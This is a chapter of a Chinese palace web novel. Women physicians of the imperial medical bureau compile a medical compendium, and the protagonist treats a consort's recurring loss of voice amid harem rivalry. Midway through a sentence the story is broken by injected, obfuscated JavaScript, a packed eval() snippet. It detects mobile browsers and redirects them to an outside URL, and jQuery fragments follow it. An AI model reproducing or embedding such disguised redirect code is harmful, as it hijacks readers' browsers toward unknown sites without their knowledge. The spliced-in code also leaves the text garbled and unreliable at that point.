已至夏末。
不当值的时候,白术常去邱楚心房里,与杨怀舒一起整理师姐们记下的手稿。
重定经方一事,邱楚心、潘澄、方令善三个主导,她三个是太医署年轻一代里最医术高明的三位女医官,但她三个的路数完全不一样。
同样一个有多毛、痤疮表现的行经紊乱,方令善看着为人稳重,用方却极为大胆,她认为病因在“瘀热互结”,主张以大黄、水蛭、皂角刺等峻猛之药凉血散瘀、通调奇经;潘澄则认为是肾-天癸-冲任-胞宫失调,应当以补肾、活血为主;而邱楚心则道病根在痰湿脾虚,痰湿郁而化热,运化无力,故治疗上该走健脾祛湿,理气解郁的路子。
一个病症,她仨能争论一宿,叫白术杨怀舒、小茯林韶音四个插不上话。白术从开始越听越精神,到后面困得打哈欠,她小声对杨怀舒说:“我刚学医的那会儿,五行辩证把我绕的稀里糊涂的,晕的像浆糊。现在我才知道,原来师姐们也各有各的辩证。”
杨怀舒也很有同感,道:“祖父的学生们也常如此,时常在家中争论到后半夜。”
白术看着这架势:“我觉得她三个谁也说服不了谁,都有道理。”
“嗯。”杨怀舒说,“祖父也是这样。”
“不如都记下来。”白术咬着笔杆子说,“我觉得,师姐们的辩证思路、病机探讨,比录一个方子更有意义,你觉得呢?”
“我觉得,师姐你说的对。”
英雄又所见略同了。
白术伸手,杨怀舒呆呆懵懵,“干嘛?”
白术拿着杨怀舒的手,与自己悄悄击了个掌。
“你记邱师姐的话,我记潘师姐的。”白术又拉林韶音帮着记方令善,“咱们把她三个的辩证都记下来,写个汇编。”
“辩论体?”
“对!”
……
一夜夜邱楚心房里灯火通明,女医官们都住在一起,这事儿瞒不了几天,也没有什么好瞒的。于是没几日,女医官们都知道了邱师姐和潘师姐她们几个要重定经方。
于是自发加入的女医越来越多,徐青燕揽下了针灸篇,常志芳负责祝由科,林韶音和小茯打算干脆借着机会把百草增补勘误重新梳理一遍,苏幼要把她的金创科也加进去——
苏幼说:“既做了,咱们索性就把它做全。”
原本只是想给同僚们写几页便宜的经方做个参考,结果要录的东西越来越多,大有往一部承前启后的医学巨著路子上狂奔的苗头。
女医官们给这部才露雏形的著作起了个名字——《医典汇编》。
苏幼写她的金创科,白术在整理昨夜三位师姐的论证,大多数时候,三位师姐还是可以探讨出来个一致的意见的。
白术写的累了,转了两下肩膀,望向窗外,百年乔木郁郁葱葱。
“咦?”白术觉出了奇怪,问苏幼,“宫外头一到夏天,总有蝉鸣吵得人睡不着觉。我进宫这一二年,才发觉宫中竟没有蝉鸣声,好奇怪。”
“这有什么奇怪的,”苏幼说,“少府有粘杆处,宫里头是听不到蝉鸣的。”
白术好奇问:“什么是粘杆处?”
“粘杆处你都不知道?”苏幼笑白术孤陋寡闻,“那你知道知秋署吗?”
景帝亲政前燕公主“扼控宫禁、监察百官”的知秋署,一度是笼罩在帝都头上的阴影,如雷贯耳的鼎鼎大名。白术说:“这个知道。”
“粘杆处也差不多,都差不多。”苏幼说,“从前宫里年年闹蝉灾,专职捕蝉的。后来就兼了知秋署的差事,夏日里闻声捕蝉,冬日里闻风奏事。”
白术瞬间就懂了。
白术忙捂嘴,左右四顾道:“完了,咱们说的话,会不会都被听到了?”
苏幼说还好,“主要是没空搭理咱们,只是也要小心,言行是要谨慎,不可出忿言。”
宫中无蝉鸣。
“唉,”白术长叹一口气,“也好。”她说,“难得清净,也好。”
《医典汇编》成了大工程,一二十名女医官忙了两个多月,才理出来个大致的篇目雏形。小二代们分头行动,方令善把徐青燕的针灸篇拿给了她姑祖母方供奉审阅,白术趁着去教坊司的功夫回了趟家,向白老医丞要意见,杨怀舒请了杨供奉,潘澄去问万供奉,郎典仙请教沈供奉,苏幼托她爹把金创科部分的文稿寄给了军中的老军医们,小茯甚至问她娘要了金家药行近三年的流水账册……
长一辈的供奉们到底见多识广,都认真看了,各自提了意见,白术她们再改……白术心里算了下,觉得这书,没个三五年,是成不了模样了。
十年也难。
越写越多,白术抱着厚厚沉沉的“改稿意见”,觉得看不到个头了,有些灰心。
却不想“万金油”的万供奉、教了她一肚子“糊弄学”的师父万供奉这一回难得正经一回,鼓励她道:“万事开头难,你们做的是一件前无古人的大事。传承后世,功德无量,便是花十年、二十年、一辈子都值得。著书需沉心,做吧。”
白术霍然开朗,忽的有了信心。
白术藏不住心事,高兴不高兴,情绪全写在脸上。
万供奉拿糖给她,与她说起另一件事:“周嫔这几日又说不出话了,你去看一看。”
“我?”白术不敢,难为情地推辞道,“师父,我几斤几两,您再清楚不过了。”
万供奉点着白术写的《医典汇编》的文稿,笑呵呵说:“正是清楚,才叫你去。小丫头,你能把阿澄几个的论证记的这样明晰,可以出师了。”
白术博采众长,又用功努力。她日日在高手如云的太医署中没有感觉,不知自己的医术放在外头,也能算是“名医”了。
白术奉了师命,背着药箱,去了周嫔宫里。
周嫔很年轻,她生的貌美,前些年被当地的县令一眼选中,入宫的时候,才刚刚及笄的年龄。年轻貌美又多
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16970710|192812||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
才艺的周嫔,甫一入宫深受皇帝宠爱,宠冠六宫,风头无二,推举周嫔入宫的文县令与她族中父兄都跟着沾了光。
只是宫中颜色,鲜艳一时,一年年新人入宫,周嫔就不是最年轻貌美的那个了。
周嫔盛宠五年,仍无子。
白术看到了周嫔,也为她的美貌惊为天人。
但这美貌有些骇人,周嫔骨瘦嶙峋,尖痩的下巴衬得那双本就很大的眼睛黑洞洞的,病恹恹的没有生气。
周嫔面色惨白,她又发不出声音了,有一旁的大宫女对白术讲:“娘娘这病症一直是万供奉调养的,原已见了好,前几日太皇太后千秋,娘娘一片孝心,撑着病体与太皇太后贺寿,回来便又累病了。”
大宫女话刚落,“噗嗤”响起一道笑声,来探病的梁嫔掩唇讥笑,“什么叫做撑着病体与太皇太后贺寿?阖宫上下哪个不想去太皇太后跟前露脸?姐姐这话说的,倒像是因着太皇太后才病了一样,太皇太后她老人家哪里知道你是哪号人物?何况陛下早下了口谕,叫姐姐你好生养病,自个儿作的这一出,不过是你要搏陛下多看你一眼罢了,又冤赖得了谁?”
周嫔原就苍白的脸色,叫梁嫔这番夹枪带棒的话气的更白了。指着梁嫔,但她失语发不出声音,浑身颤抖。
周嫔的大宫女扶着周嫔对梁嫔道:“我家娘娘已经病成这个样子了,娘娘怎能……”
“啪!”
大宫女话未落,面上就被梁嫔的宫人甩了一巴掌,打人的女官收手,向周嫔一福身,道:“娘娘恕下官僭越,替您管教了宫人。不知周嫔娘娘平日里怎么调教宫里人的,一个丫鬟,也敢与娘娘顶撞?”
梁嫔笑说:“就说周姐姐这屋里没有规矩,一个丫头,竟管到主子头上了,可笑。”
梁嫔一通耀武扬威,施施然转身,走前扫了一眼白术,没有理会她,只道:“奉劝姐姐一句,既病了,就好好养病,莫要丑人多作怪。现下阖宫上下都知道了你动不动就失语邀宠的毛病,你还好意思出门么?”
周嫔失语,一字不能发声。
突然急火攻心,眼睛一翻,晕了过去。
白术懵了,从大宫女说起周嫔病症的时候她就懵了,搜肠刮肚想不出这是哪一门的“失语症”;梁嫔进来的唇枪舌剑她更被吓得傻了,白术她这辈子吵架最狠的就是和太史仪;现下周嫔这一晕……
白术手忙脚乱地同宫女一起把周嫔扶到榻上,从药箱里翻出来醒脑开窍的丹药喂周嫔服下。
白术觉得她那位师父……坑人。
周嫔的脉象缓和,略有几分无力,大约是太瘦的缘故。白术细细看过,也没有看出来什么大碍。
不多时周嫔幽幽转醒,白术思索着说辞,道:“娘娘的失语,大约是郁结于心的缘故。娘娘且宽心,好生调理,当无大碍。”
哪知周嫔闻言登时一怒,拍案指着白术,她身边的大宫女训斥白术道:“大胆!你是说娘娘装病不成?”